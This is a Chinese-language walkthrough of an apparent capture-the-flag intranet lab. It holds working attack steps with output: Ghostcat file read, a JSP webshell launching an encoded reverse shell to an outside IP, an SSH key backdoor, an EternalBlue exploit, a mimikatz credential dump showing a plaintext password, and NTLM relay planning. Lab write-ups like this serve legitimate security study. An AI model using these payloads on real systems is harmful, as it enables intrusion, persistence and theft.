Spoofing


39.99.132.128

Spoofing

flag01

┌──(kali㉿kali)-[~/桌面/tools/tools/fscan_all_version]
└─$ ./fscan -h 39.99.132.128                

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
39.99.132.128:8080 open
Open result.txt error, open result.txt: permission denied
39.99.132.128:22 open
Open result.txt error, open result.txt: permission denied
39.99.132.128:8009 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.132.128:8080 code:200 len:7091   title:后台管理
Open result.txt error, open result.txt: permission denied
已完成 2/3 [-] ssh 39.99.132.128:22 admin 000000 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain 
已完成 3/3
[*] 扫描结束,耗时: 1m16.471599593s

dirsearch扫一下后台

┌──(root㉿kali)-[~/dirsearch]
└─# python3 dirsearch.py -u http://39.99.132.128:8080/ --max-rate=10

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                     
 (_||| _) (/_(_|| (_| )                                                                                                              
                                                                                                                                     
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12293

Target: http://39.99.132.128:8080/

[03:45:52] Scanning:                                                                                                                 
[03:48:56] 200 -   114B - /404.html                                         
[03:49:03] 200 -    7KB - /;json/                                           
[03:49:03] 400 -   795B - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[03:49:05] 200 -    7KB - /;admin/                                          
[03:49:05] 200 -    7KB - /;login/
[03:49:23] 400 -   795B - /a%5c.aspx                                        
[03:55:18] 200 -    7KB - /console.html                                     
[03:55:36] 302 -     0B - /css  ->  /css/                                   
[03:55:42] 302 -     0B - /data  ->  /data/                                 
[03:56:09] 302 -     0B - /docs  ->  /docs/                                 
[03:56:09] 200 -   17KB - /docs/                                            
[03:56:10] 404 -   732B - /docs/CHANGELOG.html                              
[03:56:10] 404 -   729B - /docs/_build/                                     
[03:56:11] 404 -   749B - /docs/html/admin/ch03s07.html                     
[03:56:11] 404 -   733B - /docs/export-demo.xml                             
[03:56:11] 404 -   747B - /docs/html/admin/index.html                       
[03:56:12] 404 -   731B - /docs/changelog.txt                               
[03:56:12] 404 -   749B - /docs/html/admin/ch01s04.html
[03:56:12] 404 -   746B - /docs/html/admin/ch01.html
[03:56:13] 404 -   750B - /docs/html/developer/ch02.html                    
[03:56:13] 404 -   753B - /docs/html/developer/ch03s15.html                 
[03:56:13] 404 -   733B - /docs/maintenance.txt
[03:56:13] 404 -   737B - /docs/html/index.html                             
[03:56:13] 404 -   730B - /docs/updating.txt
[03:56:13] 404 -   730B - /docs/swagger.json
[03:56:14] 200 -   132B - /download/                                        
[03:56:15] 302 -     0B - /download  ->  /download/                         
[03:56:44] 302 -     0B - /examples  ->  /examples/                         
[03:56:44] 200 -    1KB - /examples/websocket/index.xhtml                   
[03:56:44] 404 -   746B - /examples/servlet/SnoopServlet
[03:56:46] 200 -   14KB - /examples/jsp/index.html                          
[03:56:46] 200 -   658B - /examples/servlets/servlet/CookieExample
[03:56:46] 404 -   781B - /examples/jsp/%252e%252e/%252e%252e/manager/html/ 
[03:56:46] 200 -    1KB - /examples/
[03:56:46] 200 -  1010B - /examples/servlets/servlet/RequestHeaderExample
[03:56:47] 200 -   685B - /examples/jsp/snp/snoop.jsp                       
[03:56:47] 200 -    6KB - /examples/servlets/index.html                     
[03:57:49] 403 -    3KB - /host-manager/                                    
[03:57:50] 403 -    3KB - /host-manager/html                                
[03:58:05] 302 -     0B - /images  ->  /images/                             
[03:58:14] 200 -    7KB - /index.html                                       
[03:58:41] 302 -     0B - /js  ->  /js/                                     
[03:58:57] 302 -     0B - /lib  ->  /lib/                                   
[03:59:35] 403 -    3KB - /manager/html/                                    
[03:59:35] 403 -    3KB - /manager/                                         
[03:59:35] 403 -    3KB - /manager/html                                     
[03:59:35] 403 -    3KB - /manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
[03:59:36] 403 -    3KB - /manager/login.asp                                
[03:59:36] 403 -    3KB - /manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
[03:59:36] 403 -    3KB - /manager/login                                    
[03:59:36] 403 -    3KB - /manager/jmxproxy                                 
[03:59:36] 403 -    3KB - /manager/VERSION
[03:59:36] 403 -    3KB - /manager/status/all
[03:59:37] 403 -    3KB - /manager/jmxproxy/?invoke=BEANNAME&op=METHODNAME&ps=COMMASEPARATEDPARAMETERS
[03:59:38] 403 -    3KB - /manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps=
[03:59:38] 403 -    3KB - /manager/admin.asp                                
[03:59:39] 403 -    3KB - /manager/jmxproxy/?qry=STUFF                      
[03:59:39] 302 -     0B - /manager  ->  /manager/                           
[03:59:40] 403 -    3KB - /manager/jmxproxy/?get=BEANNAME&att=MYATTRIBUTE&key=MYKEY
[04:05:18] 403 -     0B - /upload                                           
[04:05:19] 403 -     0B - /upload/                                          
[04:05:19] 403 -     0B - /upload/1.php                                     
[04:05:19] 403 -     0B - /upload/loginIxje.php
[04:05:20] 403 -     0B - /upload/test.php
[04:05:20] 403 -     0B - /upload/upload.php
[04:05:20] 403 -     0B - /upload/test.txt
[04:05:22] 403 -     0B - /upload/b_user.xls                                
[04:05:22] 403 -     0B - /upload/b_user.csv                                
[04:05:22] 403 -     0B - /upload/2.php                                     
[04:05:26] 200 -    9KB - /user.html                                        
                                                                             
Task Completed 

CVE重要漏洞复现之Tomcat-CVE-2020-1983漏洞_tomcat漏洞复现-CSDN博客

Ghostcat-CNVD-2020-10487

cd /usr/share/doc/python3-impacket/examples/
python3 ajpShooter.py http://39.99.132.128:8080 8009  /WEB-INF/web.xml read


┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 ajpShooter.py http://39.99.132.128:8080 8009  /WEB-INF/web.xml read
/usr/share/doc/python3-impacket/examples/ajpShooter.py:363: SyntaxWarning: invalid escape sequence '\ '
  /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __

       _    _         __ _                 _            
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __ 
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |   
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|   
         |__/|_|                                        
                                                00theway,just for test
    

[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"2489-1670857638305"
[<] Last-Modified: Mon, 12 Dec 2022 15:07:18 GMT
[<] Content-Type: application/xml
[<] Content-Length: 2489

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <security-constraint>
    <display-name>Tomcat Server Configuration Security Constraint</display-name>
    <web-resource-collection>
      <web-resource-name>Protected Area</web-resource-name>
      <url-pattern>/upload/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>admin</role-name>
    </auth-constraint>
  </security-constraint>

  <error-page>
    <error-code>404</error-code>
    <location>/404.html</location>
  </error-page>

  <error-page>
    <error-code>403</error-code>
    <location>/error.html</location>
  </error-page>

  <error-page>
    <exception-type>java.lang.Throwable</exception-type>
    <location>/error.html</location>
  </error-page>

  <servlet>
    <servlet-name>HelloServlet</servlet-name>
    <servlet-class>com.example.HelloServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>HelloServlet</servlet-name>
    <url-pattern>/HelloServlet</url-pattern>
  </servlet-mapping>

  <servlet>
    <display-name>LoginServlet</display-name>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.example.LoginServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/LoginServlet</url-pattern>
  </servlet-mapping>

  <servlet>
    <display-name>RegisterServlet</display-name>
    <servlet-name>RegisterServlet</servlet-name>
    <servlet-class>com.example.RegisterServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>RegisterServlet</servlet-name>
    <url-pattern>/RegisterServlet</url-pattern>
  </servlet-mapping>

  <servlet>
    <display-name>UploadTestServlet</display-name>
    <servlet-name>UploadTestServlet</servlet-name>
    <servlet-class>com.example.UploadTestServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadTestServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>                               //here
  </servlet-mapping>

  <servlet>
    <display-name>DownloadFileServlet</display-name>
    <servlet-name>DownloadFileServlet</servlet-name>
    <servlet-class>com.example.DownloadFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadFileServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

看到一个

<servlet-mapping>
  <servlet-name>UploadTestServlet</servlet-name>
  <url-pattern>/UploadServlet</url-pattern>                               //here
</servlet-mapping>

于是打算上传一个木马然后执行

bash -i >& /dev/tcp/47.104.168.57/7777 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTY4LjU3Lzc3NzcgMD4mMQ==

上传一个木马shell

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTY4LjU3Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 ajpShooter.py http://39.99.132.128:8080 8009 /upload/4402ca1950948073bfb147acf9c4fa9a/20250925042103715.txt eval
/usr/share/doc/python3-impacket/examples/ajpShooter.py:363: SyntaxWarning: invalid escape sequence '\ '
  /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __

       _    _         __ _                 _            
      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __ 
     //_\\ | | '_ \  \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |   
    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|   
         |__/|_|                                        
                                                00theway,just for test
    

[<] 200 200
[<] Set-Cookie: JSESSIONID=CCE5B6442EC8D4FCBB8D87B4A5745F33; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 11

<pre></pre>    

成功反弹

写公钥留后门了
#自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

ssh -i ~/.ssh/id_rsa root@39.99.132.128
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxwyv90Cq7+ER5/yxcFtL+0BgZRyve9+4hxTLARZmPqL3OTA+bVRfqeQSgisRIyOVUclsMFE2ItHE1fiNU7bhJ/BoHECDs4alVIkp/iiYNxRgs+1tHzOSRmp3DeYCdXV5nZ8g/8wKzAQY7wCA5aS3OY2Q6ImHlSXBHT2sThaqaO91/XculzHlHYD/0si5KS2wutx3AGOo9/gbSlLyOnHzTkyhNe3PYNyui4qBMs1UnK1+EqV99hHyiXrA0gIrrnTJuOiLHgjfteb1TS5wegZIre9597xuEy/G7GzJIc2bilvcDuERTpdFCoH40bMRoNP7ARsucwXq1kgPp2teoLF/o9B6HcbUXz1aFKzcw8jdgPTKllDux/2GuHxpnHqkvltB7s3dhnEOffe7DoAOGkZymfHiIq7FQ1f6CcKj3SLSuY45s8vaahmPl1HgzPU68LGyMCdHZuFmrUhKhw0Ar8SAK1gLwOXj1xOgy+/ro0SGpoZJOyIJX/LtJxURp70b0+Bya7RZ9ZjDeVao3hvlePx8tipWoep/KdhX8yR9d3JDApCekD6joi8gW6AOLL47KY7TAGJt9m/09xOGCKTf1ApETgh6ooOiW2Lea0yWPdbRG1ekn14yVyPc1e5dPMx6XeHR9xq87cNxQ5dil/jerUeoiFjKaP9KkXoOAXpttj2+Bxw== root@kali" > /root/.ssh/authorized_keys



echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCPPtZ/YfDn53qZ6yLEFM2srud8yTA/eR/tyViXgNa/uLOexKp5yy6Kd6sazfB5PFAZRhWkvdh1jrJyi7cZjPBGTmr8wNe+Yaa0ErFyQgYvODcfbXfh85GPOczpDEoUrwJqhxITx50jD+W1n90IE0Diz8A6KGHwzFYXXiFzViH28Baqm4ybrMKt21Z672OJPSk6zJlhWWS4ahjO/bY3eIgTAvVI4/CyoILKZeQyZLCvKzgNmMdBVzKxKnsYPL6ZvjK8ovdGfmuZzmYwEjl/gUWrEZW4by/91CcG+aZiTssRaQLTfEoJVGpElKpNLtw8/ZGjBSkNE1aYAKNdN2D2ft4XM6YiCwwmx7rD5ptA2DMH/2zrmJhCpeUMTAB57ypJ+5oDdq9tchxLv2Va3nijiRyg8RIU+TjIax+Trqa2DX2UFF1PRTaKD4BdMVemhyuFjAoNsyuJKaTCEUqnAsHNqicdQavK0ElrPl7EV46cpQX9VZeziUNt0aVxshXnZ+RoeEpnTnHQu2vRsIP96gydh2fKmr5SOWcY5NBGQsJti2EA77AU0CZv+PuWhFOMOR8w3+Uh4LblFJtLndNPNUf8V4aWNo5uT9/hhWgno38dHSSRvrOt4nGMaKCj4YoH8pCt/E9dMvIf5lpcNupQGsYFW8AiFPsjYRgtnQaP3AG9JTr5Hw== root@iZm5eh0goysydu2u3hlp07Z" > /root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmhvlQ35AyfNg9MPyr9KOCrt+mCP2Q1yp/Q9i3sjRJW/dsQsAW6wAfboZ22gOV7NSb6rbme5/clnwcFV3rVae6Yzq2kXjUkKjLPO4RwtdBu5pXWplZzRaLv8ndJeMP0iL8HgAsvbkAaneeRBNhZ2JxNSInZz1VW3jIIV9VF4CjQFneJeSa2DTar/CCEx0q7ekUZDgqG84K2RZNCpQznk7u78ByPjHRxi30jfQcerFug/Zb+8MMaXXV2uPsrxq7c9ThNq8IZdRW6sqHw04WMAwVZYYKyOaHmqydG/9G8SBHQcHRRu43ZuxTmqULDqbOgb5u056mU+U0iDHp098pVmfFTkQCnhCQLdPT7QN3MVLlWRxXR8m30h1lD4j3z3PQ26QCK2e0h2gwO1C+1Y7C23lexw/8jMOMcPtF0WVK3VSKgSucLpIkYZPnuNg/0HqcteZKv1E8KdX5jfi9UcOltD6gXn0KYRtlykDph3mf5fVGIzctpvu5zdJXO9LSVoFhVBI7OMsr3gEGXrv6QgMxza7SW3YtrGnYjMjBIynItD/rib1OSdxpXVjWvXxfXUee7kYuL9ZinA6t7HL6Xt2JgZmCq1SYp2MVhwoUD/rl4sr+62szyThOdce/wzB7xWBzqHX09R0B8V3f9q4UPlJr3UVrjPOc40gUfpUhEHixJXvkQw== kali@kali" > /root/.ssh/authorized_keys

一堆人打的话注意ssh覆盖(公钥)

ps:

root@ubuntu:/tmp# ls AliyunAssistClientSingleLock.lock aliyun_assist_service.sock argus.sock systemd-private-dd3bd44be1ed4ec1b14acd99e33fdfeb-chrony.service-q9qjhi systemd-private-dd3bd44be1ed4ec1b14acd99e33fdfeb-systemd-logind.service-6zJc8h systemd-private-dd3bd44be1ed4ec1b14acd99e33fdfeb-systemd-resolved.service-DeWMji systemd-private-dd3bd44be1ed4ec1b14acd99e33fdfeb-tomcat.service-NbtKaf 
root@ubuntu:/tmp# ls ls hsperfdata_root xx

你看

ChatGPT 说:

我看出来了 👍

你这边有两个不同的 shell 环境:

  • SSH 登录后看到的 /tmp 里有一堆 AliyunAssistClient…systemd-private-… 的 socket/lock 文件。
  • 在你 弹出来的另一个 root shell/tmp 只有 hsperfdata_rootxx

这说明:
👉 你其实不在同一个「系统根环境」。

最常见的两种情况:

  1. 容器环境
    • 你通过某个漏洞拿到的 root shell,实际掉进了容器(比如 Tomcat 的容器环境)。容器里的 /tmp 只有容器自己产生的东西。
    • 而你用 SSH 登进去,进的是宿主机的 root 用户,看到的是宿主机的 /tmp
  2. chroot/jail
    • 你弹的 shell 被限制在某个 chroot 目录下,只能看到那里的 /root/tmp,跟宿主机完全不一样。
root@ubuntu:/tmp/2# cat /root/flag/flag01.txt
cat /root/flag/flag01.txt
  ████████                             ████ ██                 
 ██░░░░░░  ██████                     ░██░ ░░            █████ 
░██       ░██░░░██  ██████   ██████  ██████ ██ ███████  ██░░░██
░█████████░██  ░██ ██░░░░██ ██░░░░██░░░██░ ░██░░██░░░██░██  ░██
░░░░░░░░██░██████ ░██   ░██░██   ░██  ░██  ░██ ░██  ░██░░██████
       ░██░██░░░  ░██   ░██░██   ░██  ░██  ░██ ░██  ░██ ░░░░░██
 ████████ ░██     ░░██████ ░░██████   ░██  ░██ ███  ░██  █████ 
░░░░░░░░  ░░       ░░░░░░   ░░░░░░    ░░   ░░ ░░░   ░░  ░░░░░  

This is the first flag you get.

flag01: flag{10e32b00-2f48-45a1-b407-760619d715ef}

flag02

正常流程

攻击机:
python3 -m http.server
靶机
wget 47.104.168.57:8000/linux_x64_agent

./linux_x64_admin -c 39.99.132.128:7879 -s 123

./linux_x64_agent -l 7879 -s 123
root@ubuntu:/tmp/2# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.11.76  netmask 255.255.0.0  broadcast 172.22.255.255
root@ubuntu:/tmp/2# ./fscan -h 172.22.11.0/24
./fscan -h 172.22.11.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.11.6     is alive
(icmp) Target 172.22.11.45    is alive
(icmp) Target 172.22.11.76    is alive
(icmp) Target 172.22.11.26    is alive
[*] Icmp alive hosts len is: 4
172.22.11.6:139 open
172.22.11.26:135 open
172.22.11.76:80 open
172.22.11.45:135 open
172.22.11.6:88 open
172.22.11.76:22 open
172.22.11.26:445 open
172.22.11.45:445 open
172.22.11.6:445 open
172.22.11.26:139 open
172.22.11.45:139 open
172.22.11.6:135 open
172.22.11.76:8080 open
172.22.11.76:8009 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo 
[*]172.22.11.26
   [->]XR-LCM3AE8B
   [->]172.22.11.26
[*] NetBios 172.22.11.26    XIAORANG\XR-LCM3AE8B          
[*] NetBios 172.22.11.6     [+] DC:XIAORANG\XIAORANG-DC    
[*] NetInfo 
[*]172.22.11.6
   [->]XIAORANG-DC
   [->]172.22.11.6
[+] MS17-010 172.22.11.45       (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.11.45    XR-DESKTOP.xiaorang.lab             Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.11.76:8080  code:200 len:7091   title:后台管理
[*] WebTitle http://172.22.11.76       code:401 len:0      title:None
已完成 14/14
[*] 扫描结束,耗时: 16.034090031s
主机 漏洞/风险 端口/服务
172.22.11.45 MS17-010 (高危 RCE) 135/139/445
172.22.11.76 Web后台管理(默认/弱口令风险) 80/8080/22/8009
172.22.11.6 域控信息泄露,SMB/RPC 风险 88/135/139/445
172.22.11.26 SMB/域信息枚举 135/445

打永恒之蓝

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
set lport 4567(4444被占了就换一个,不然不通)
exploit
meterpreter > ls C:\
Listing: C:
===========

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
040777/rwxrwxrwx  4096    dir   2023-02-01 00:53:14 -0500  $Recycle.Bin
040777/rwxrwxrwx  4096    dir   2023-01-31 23:55:48 -0500  Boot
040777/rwxrwxrwx  0       dir   2009-07-14 01:06:44 -0400  Documents and Settings
040777/rwxrwxrwx  0       dir   2009-07-13 23:20:08 -0400  PerfLogs
040555/r-xr-xr-x  4096    dir   2023-02-01 00:46:57 -0500  Program Files
040555/r-xr-xr-x  4096    dir   2020-01-15 03:15:18 -0500  Program Files (x86)
040777/rwxrwxrwx  4096    dir   2023-02-01 00:50:01 -0500  ProgramData
040777/rwxrwxrwx  0       dir   2023-01-31 23:24:48 -0500  Recovery
040777/rwxrwxrwx  4096    dir   2020-01-14 19:01:47 -0500  System Volume Information
040555/r-xr-xr-x  4096    dir   2023-02-01 00:53:42 -0500  Users
040777/rwxrwxrwx  16384   dir   2025-09-25 02:08:49 -0400  Windows
100444/r--r--r--  399860  fil   2019-07-17 01:35:58 -0400  bootmgr

meterpreter > ls C:\\Users\\.
#Windows 路径名有时对 Meterpreter 内部路径解析不友好(尤其是中文或特殊符号)。
#尝试用短路径名(8.3)
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Listing: C:\Users\.
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  8192  dir   2023-02-01 01:18:55 -0500  Administrator
040777/rwxrwxrwx  0     dir   2023-02-01 00:53:42 -0500  Administrator.XIAORANG
040777/rwxrwxrwx  0     dir   2009-07-14 01:06:44 -0400  All Users
040555/r-xr-xr-x  8192  dir   2020-01-14 19:04:37 -0500  Default
040777/rwxrwxrwx  0     dir   2009-07-14 01:06:44 -0400  Default User
040555/r-xr-xr-x  4096  dir   2009-07-14 00:57:55 -0400  Public
100666/rw-rw-rw-  174   fil   2009-07-14 00:57:55 -0400  desktop.ini
040777/rwxrwxrwx  8192  dir   2023-02-01 00:53:14 -0500  yangmei

meterpreter > cat C:\\Users\\Administrator\\flag\\flag02.txt.
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
                                                      ##                        
  :####:                                   :####      ##                        
 :######                                   #####      ##                        
 ##:  :#                                   ##                                   
 ##        ##.###:    .####.    .####.   #######    ####     ##.####    :###:## 
 ###:      #######:  .######.  .######.  #######    ####     #######   .####### 
 :#####:   ###  ###  ###  ###  ###  ###    ##         ##     ###  :##  ###  ### 
  .#####:  ##.  .##  ##.  .##  ##.  .##    ##         ##     ##    ##  ##.  .## 
     :###  ##    ##  ##    ##  ##    ##    ##         ##     ##    ##  ##    ## 
       ##  ##.  .##  ##.  .##  ##.  .##    ##         ##     ##    ##  ##.  .## 
 #:.  :##  ###  ###  ###  ###  ###  ###    ##         ##     ##    ##  ###  ### 
 #######:  #######:  .######.  .######.    ##      ########  ##    ##  .####### 
 .#####:   ##.###:    .####.    .####.     ##      ########  ##    ##   :###:## 
           ##                                                           #.  :## 
           ##                                                           ######  
           ##                                                           :####:  


flag02: flag{ffd82b2a-8762-4dd2-95c2-bae51147e03b}

flag03

先抓一下哈希

meterpreter > load kiwi
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

//列出当前系统内存和缓存中所有可用的凭据
meterpreter > creds_all
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username     Domain    NTLM                              SHA1
--------     ------    ----                              ----
XR-DESKTOP$  XIAORANG  738dcc0171b84e1a36400008983a3e10  fdc3f1fd9d44fea97d24ce212d6339ec890cfdf4
yangmei      XIAORANG  25e42ef4cc0ab6a8ff9e3edbbda91841  6b2838f81b57faed5d860adaf9401b0edb269a6f

wdigest credentials
===================

Username     Domain    Password
--------     ------    --------
(null)       (null)    (null)
XR-DESKTOP$  XIAORANG  7d c7 ba cf 2e 52 36 1a 8a 7c 53 e3 dc 71 7e d4 3a 3e c1 e5 60 0d 09 2a a6 b2 b3 73 19 32 1f d8 7d 28 69 48 fe 7a 4c 28 32 49 58 e9 47 71 98 8e 51 c0 80 74
                        ed 14 91 fb e0 43 21 37 75 cf d5 91 53 0f 96 03 48 99 1d 54 34 52 71 96 b0 a2 af 96 96 c4 18 53 4b 71 f6 72 22 2b 74 64 69 05 38 e9 d6 a2 22 cc 3a 98 f2 7
                       d aa f2 e0 07 ee 92 8c 31 24 fa 42 c4 94 1b e5 8e c4 df 80 c0 09 7b aa af dd cd 8f 86 08 e1 41 4d 53 2e 0d d8 91 2f d8 36 a8 1f 7a e8 0d 47 a4 16 1a c4 56
                       b9 e0 96 13 ef c9 70 8c 64 8d 9a d5 75 7f 2f 3d c4 36 5e 1f 8a 16 6c 9e aa 11 01 b1 13 ab 0d f8 dd 98 3a d1 01 b6 e1 f5 51 50 82 eb 02 b5 bb c0 cc 4b 63 f4
                        71 0f 2c 49 de 19 3d a3 cf ab 32 29 a6 69 04 77 76 63 a7 3a 5a b9 f6 7f 97 b9 6b ff 22 84 6e 22 9d
yangmei      XIAORANG  xrihGHgoNZQ     //(明文密码)

kerberos credentials
====================

Username     Domain        Password
--------     ------        --------
(null)       (null)        (null)
xr-desktop$  XIAORANG.LAB  7d c7 ba cf 2e 52 36 1a 8a 7c 53 e3 dc 71 7e d4 3a 3e c1 e5 60 0d 09 2a a6 b2 b3 73 19 32 1f d8 7d 28 69 48 fe 7a 4c 28 32 49 58 e9 47 71 98 8e 51 c0 8
                           0 74 ed 14 91 fb e0 43 21 37 75 cf d5 91 53 0f 96 03 48 99 1d 54 34 52 71 96 b0 a2 af 96 96 c4 18 53 4b 71 f6 72 22 2b 74 64 69 05 38 e9 d6 a2 22 cc 3a
                            98 f2 7d aa f2 e0 07 ee 92 8c 31 24 fa 42 c4 94 1b e5 8e c4 df 80 c0 09 7b aa af dd cd 8f 86 08 e1 41 4d 53 2e 0d d8 91 2f d8 36 a8 1f 7a e8 0d 47 a4
                           16 1a c4 56 b9 e0 96 13 ef c9 70 8c 64 8d 9a d5 75 7f 2f 3d c4 36 5e 1f 8a 16 6c 9e aa 11 01 b1 13 ab 0d f8 dd 98 3a d1 01 b6 e1 f5 51 50 82 eb 02 b5 b
                           b c0 cc 4b 63 f4 71 0f 2c 49 de 19 3d a3 cf ab 32 29 a6 69 04 77 76 63 a7 3a 5a b9 f6 7f 97 b9 6b ff 22 84 6e 22 9d
xr-desktop$  XIAORANG.LAB  (null)
yangmei      XIAORANG.LAB  (null)

通过WebDav进行NTLM Relay-腾讯云开发者社区-腾讯云

扫一下WebClient和petitpotam

proxychains4 crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdav
proxychains4 crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam

  • A = 你本地(运行 ntlmrelayx、接收/处理 NTLM 的地方,或运行 impacket 工具)
  • B = 跳板/远端服务器(39.99.132.128,目标内网和/或目标能访问到它)
  • T = 目标机器(被 PetitPotam 强制去访问一个 URL,会对该 URL 发起 NTLM 认证)

你要目标 T 的请求最终能到达 A,但 T 不能直接连 A,它能连 B。于是你在 B 上暴露一个 HTTP 端口,并把那流量“隧道”回 A。

Q:为什么我不能直接在39.99.132.128上开个socks5,本地用proxychains就能访问T?

A:SOCKS5 是“客户端向代理发起请求并经由代理出站”,不是把代理暴露给外部主机来让外部主动连回你

  • SOCKS5(在 B 上)允许 你(A) 或其他客户端连接到 B,然后通过 B 去访问内网或互联网目标。也就是说:客户端到代理是出站连接(客户端主动连到代理)。

  • PetitPotam 情况恰恰相反:目标 T 必须主动去访问你控制的 HTTP 接收器(T 是发起方)。T 不会“使用 SOCKS 代理”去把它的 NTLM 握手发给你,除非你能在 T 上配置代理(不可能)。

  • 因此:把 SOCKS5 在 B 上开起来后,你可以从 A 借助这个 SOCKS 访问 T(A → SOCKS(B) → T),但这并不会让 T → 你(A)建立连接,也就无法把 NTLM challenge/response 发回给你用于中继。

你开 SOCKS 在 B:

  • 用途:A →(SOCKS@B)→ 内网资源(你作为客户端通过 B 出站)。
  • 不满足:让 T 主动把认证发给你(因为 T 并不会走 SOCKS)。

你在 B 上开 HTTP(0.0.0.0:80)或把 HTTP 暴露出来:

  • 用途:T →(HTTP@B)→ 你的接收端(B 或经隧道回 A)。
  • 这是 PetitPotam 需要的:目标必须能连到一个“监听的 HTTP 地址”。

[ps:so,如果你愿意把 ntlmrelayx/接收逻辑也跑在跳板 B,就不需要把流量回隧道到 A:T → B:80(B 本地处理)(really?)]

(远端机器上可能已经有 Web 服务器监听 80。直接用 ssh -R 请求绑定 80 会失败或覆盖/冲突(不可接受)。用 socat/iptables 可以更灵活地转发/选择端口。)(我猜的,因为我们目标需要 HTTP(80)访问)

  • ssh:SSH 客户端 程序。你在本地运行它去连接远端 SSH 服务,提供 -R-D 等隧道参数。
